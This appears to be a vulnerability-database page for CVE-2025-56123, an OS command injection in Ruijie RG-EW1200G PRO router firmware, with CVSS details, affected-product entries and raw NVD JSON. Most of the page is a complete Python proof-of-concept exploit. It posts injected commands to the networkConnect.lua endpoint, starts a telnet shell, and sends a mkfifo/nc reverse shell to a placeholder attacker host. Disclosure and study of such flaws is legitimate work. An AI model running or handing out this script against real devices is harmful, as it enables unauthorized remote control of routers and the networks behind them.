Security Vulnerability Report
中文
CVE-2025-56123 CVSS 8.8 HIGH

CVE-2025-56123

Published: 2025-12-11 19:15:58
Last Modified: 2026-01-27 17:35:06

Description

OS Command Injection vulnerability in Ruijie RG-EW1200G PRO RG-EW1200G PRO V1.00/V2.00/V3.00/V4.00 allowing attackers to execute arbitrary commands via a crafted POST request to the module_get in file /usr/local/lua/dev_sta/networkConnect.lua.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:ruijie:rg-ew1200g_pro_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-ew1200g_pro:1.0:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:ruijie:rg-ew1200g_pro:2.0:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:ruijie:rg-ew1200g_pro:3.0:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:ruijie:rg-ew1200g_pro:4.0:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ruijie:rg-ew1300g_firmware:ew_3.0\(1\)b11p303:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-ew1300g:-:*:*:*:*:*:*:* - NOT VULNERABLE
Ruijie RG-EW1200G PRO V1.00
Ruijie RG-EW1200G PRO V2.00
Ruijie RG-EW1200G PRO V3.00
Ruijie RG-EW1200G PRO V4.00

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-56123 PoC - Ruijie RG-EW1200G PRO OS Command Injection Reference: https://nvd.nist.gov/vuln/detail/CVE-2025-56123 """ import requests import sys def exploit(target_ip, target_port=80, attacker_ip="ATTACKER_IP", attacker_port=4444): """ Exploit the command injection vulnerability in Ruijie RG-EW1200G PRO Args: target_ip: Target router IP address target_port: Target router web port (default: 80) attacker_ip: Attacker IP for reverse shell attacker_port: Attacker port for reverse shell """ # Target URL for the vulnerable endpoint url = f"http://{target_ip}:{target_port}/cgi-bin/dev_sta/networkConnect.lua" # Payload to inject OS command - starts telnet service # The vulnerability is in the module_get function in networkConnect.lua # User input is directly concatenated into system commands without sanitization # Example payloads: # 1. Start telnet service # 2. Reverse shell connection # 3. Execute arbitrary commands # Payload 1: Enable telnet telnet_payload = ";telnetd -l /bin/sh &" # Payload 2: Reverse shell reverse_shell_payload = f";rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {attacker_ip} {attacker_port} >/tmp/f &" # Construct the malicious POST request # The vulnerable parameter in module_get function data = { "module": "get", "param": telnet_payload # Inject malicious command } print(f"[*] Targeting: {url}") print(f"[*] Injecting payload: {telnet_payload}") try: # Send the malicious POST request response = requests.post(url, data=data, timeout=10) print(f"[+] Request sent - Status code: {response.status_code}") print(f"[*] Response length: {len(response.text)} bytes") # Payload 2: Reverse shell print(f"\n[*] Attempting reverse shell to {attacker_ip}:{attacker_port}") data["param"] = reverse_shell_payload response = requests.post(url, data=data, timeout=10) print(f"[+] Reverse shell payload sent") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False return True if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2025-56123.py <target_ip> [port] [attacker_ip] [attacker_port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 attacker_ip = sys.argv[3] if len(sys.argv) > 3 else "ATTACKER_IP" attacker_port = sys.argv[4] if len(sys.argv) > 4 else "4444" exploit(target, port, attacker_ip, attacker_port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56123", "sourceIdentifier": "[email protected]", "published": "2025-12-11T19:15:57.607", "lastModified": "2026-01-27T17:35:05.903", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS Command Injection vulnerability in Ruijie RG-EW1200G PRO RG-EW1200G PRO V1.00/V2.00/V3.00/V4.00 allowing attackers to execute arbitrary commands via a crafted POST request to the module_get in file /usr/local/lua/dev_sta/networkConnect.lua."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-ew1200g_pro_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "0FE4961A-D302-485D-95EE-9B4F6A334AD4"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew1200g_pro:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "76D20D6E-9617-49BA-BE00-524954642206"}, {"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew1200g_pro:2.0:*:*:*:*:*:*:*", "matchCriteriaId": "D7437E1D-1574-45FD-83D7-9F7A705BB117"}, {"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew1200g_pro:3.0:*:*:*:*:*:*:*", "matchCriteriaId": "A8BD8D2D-707F-45C4-9E29-A0CC22D94F1C"}, {"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew1200g_pro:4.0:*:*:*:*:*:*:*", "matchCriteriaId": "7E14C332-0BE9-49DC-8FE8-37069F691528"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-ew1300g_firmware:ew_3.0\\(1\\)b11p303:*:*:*:*:*:*:*", "matchCriteriaId": "FEBD2500-493C-4E55-AACF-0BE0AA2DB5A1"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew1300g:-:*:*:*:*:*:*:*", "matchCriteriaId": "AF293412-9EF2-49B8-8A34-12503BEBE88B"}]}]}], "references": [{"url": "https://1drv.ms/f/c/12406a392c92914b/EkH0xWseMXBJg-Ck_uD34fcB-3pDo3MAQc2AKNlXqwYr2w?e=GU9l62", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://1drv.ms/t/c/12406a392c92914b/ERjNMNZRBD5HoYydt7Kb3kwBT4ycJXROxTsVBB-WXXqH6Q?e=q8Lcd2", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56123.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}